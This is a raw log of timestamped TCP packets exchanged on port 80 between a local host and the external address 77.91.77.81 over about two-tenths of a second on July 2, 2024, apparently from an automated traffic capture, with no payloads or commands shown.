Jul 2, 2024 15:26:27.370547056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.370551109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.370559931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.370564938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.370583057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.370604992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.371418953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371428013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371444941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371457100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371469975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371470928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.371485949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371495962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371496916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.371506929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.371511936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371526957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371534109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.371541023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371553898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.371556044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.371583939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.371597052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.372368097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372379065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372395039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372407913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372420073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.372421980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372432947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372441053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.372450113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372459888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372466087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.372477055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372478962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.372497082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372500896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.372507095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.372525930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.372579098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.373363018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373373032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373389006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373399019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373414993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373415947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.373425961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373440981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373447895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.373447895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.373450994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373456001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.373467922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373480082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373487949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.373496056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373507023 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.373513937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.373531103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.373538971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.373554945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.374296904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.374311924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.374326944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.374339104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.374352932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.374357939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.374366999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.374380112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.374381065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.374394894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.374394894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.374406099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.374418974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.374448061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.406594992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.406639099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.406650066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.406692982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.406713009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.406768084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.406810045 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.406826019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.406838894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.406852007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.406871080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.406881094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.406907082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.407296896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.407308102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.407325983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.407344103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.407350063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.407355070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.407368898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.407371998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.407402992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.407421112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.421943903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422034979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422050953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422102928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.422147036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.422173977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422183990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422200918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422211885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422255039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.422595978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422606945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422624111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422636986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422650099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.422669888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.422688961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.422871113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422880888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422897100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.422911882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.422935963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.458992004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459105015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459115982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459158897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.459202051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.459290028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459300995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459316969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459341049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.459358931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.459522009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459532976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459548950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459561110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459582090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.459604979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.459849119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459858894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459872007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459888935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.459897041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.459916115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.459939003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.460122108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460141897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460154057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460170031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460181952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.460207939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.460561991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460572004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460587978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460597992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460611105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.460614920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460624933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460629940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.460645914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460652113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.460659027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460673094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.460675955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.460692883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.460717916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.461302042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461314917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461333990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461344004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461348057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.461370945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.461393118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461400032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.461404085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461421967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461436033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461452961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.461455107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461471081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461481094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.461483002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.461488008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.461513042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.461525917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.462399960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462412119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462430000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462441921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462452888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.462452888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462470055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462476969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.462486029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462497950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.462500095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462518930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462521076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.462529898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462533951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.462548018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.462560892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.462584972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.463366985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463378906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463395119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463408947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463418007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463421106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.463434935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463438034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.463449001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463462114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.463463068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463476896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463486910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463494062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.463505983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.463507891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.463531971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.463562012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.464338064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464349985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464369059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464380980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464396000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.464396000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464407921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464416981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464422941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464433908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464441061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.464452028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464462042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464466095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.464478970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.464478970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.464508057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.464551926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.465521097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.465533018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.465549946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.465562105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.465574026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.465578079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.465590954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.465600967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.465603113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.465617895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.465620041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.465634108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.465647936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.465653896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.465671062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.465696096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.496471882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.496495962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.496510983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.496541023 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.496556997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.496573925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.496587992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.496608019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.496618032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.496623039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.496654987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.496686935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.496968031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.496978045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.496995926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.497008085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.497020006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.497023106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.497030973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.497036934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.497061014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.497068882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.497087955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.497119904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.511147976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511221886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511238098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511288881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.511306047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.511379004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511487961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511507988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511522055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511537075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511548996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.511555910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.511568069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511591911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.511617899 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.511921883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511933088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511954069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511964083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511971951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.511982918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.511996031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.512016058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.547810078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.547879934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.547885895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.547919035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.547950983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.547970057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.548083067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548101902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548113108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548126936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548129082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.548137903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548171997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.548201084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.548379898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548389912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548438072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.548552036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548563004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548578978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548589945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548602104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.548608065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548620939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548629045 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.548646927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.548669100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.548975945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.548990011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549020052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.549031973 CEST	49744	80	192.168.2.4	77.91.77.81
